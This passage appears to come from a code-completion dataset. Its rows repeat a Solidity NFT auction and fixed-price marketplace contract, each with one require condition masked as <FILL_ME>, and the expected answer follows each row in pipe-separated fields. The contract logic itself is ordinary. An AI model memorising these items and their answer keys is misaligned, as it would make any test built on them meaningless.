address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(block.timestamp >= _sales[id].start, "NFTMarket/auction_doesn't_start");
require(<FILL_ME>)
require(amount > _sales[id].bid, "NFTMarket/bid_should_be_higher");
IERC20 erc20Token = IERC20(_sales[id].erc20);
erc20Token.transferFrom(_msgSender(),address(this),amount);
// not first bidding
if(_sales[id].buyer != address(0)) {
erc20Token.transfer(_sales[id].buyer,_sales[id].bid);
}
_sales[id].buyer = _msgSender();
_sales[id].bid = amount;
// auction end time increase
if(block.timestamp < _sales[id].end && _sales[id].end < block.timestamp + _interval)
_sales[id].end = _sales[id].end.add(_interval);
emit Bid(id,_msgSender(),amount,_sales[id].end);
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _sales[id].end>=block.timestamp,"NFTMarket/auction_finished" | 341,370 | _sales[id].end>=block.timestamp |
"NFTMarket/auction_not_bidded" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(<FILL_ME>)
require(!_sales[id].isSettled,"NFTMarket/auction_already_settled");
require(_sales[id].end < block.timestamp, "NFTMarket/auction_ongoing");
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_clear");
settle(id,1);
emit Clear(id);
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _sales[id].buyer!=address(0),"NFTMarket/auction_not_bidded" | 341,370 | _sales[id].buyer!=address(0) |
"NFTMarket/auction_ongoing" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(_sales[id].buyer != address(0), "NFTMarket/auction_not_bidded");
require(!_sales[id].isSettled,"NFTMarket/auction_already_settled");
require(<FILL_ME>)
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_clear");
settle(id,1);
emit Clear(id);
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _sales[id].end<block.timestamp,"NFTMarket/auction_ongoing" | 341,370 | _sales[id].end<block.timestamp |
"NFTMarket/only_seller_can_clear" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(_sales[id].buyer != address(0), "NFTMarket/auction_not_bidded");
require(!_sales[id].isSettled,"NFTMarket/auction_already_settled");
require(_sales[id].end < block.timestamp, "NFTMarket/auction_ongoing");
require(<FILL_ME>)
settle(id,1);
emit Clear(id);
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _msgSender()==_sales[id].seller,"NFTMarket/only_seller_can_clear" | 341,370 | _msgSender()==_sales[id].seller |
"NFTMarket/auction_not_cancellable" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
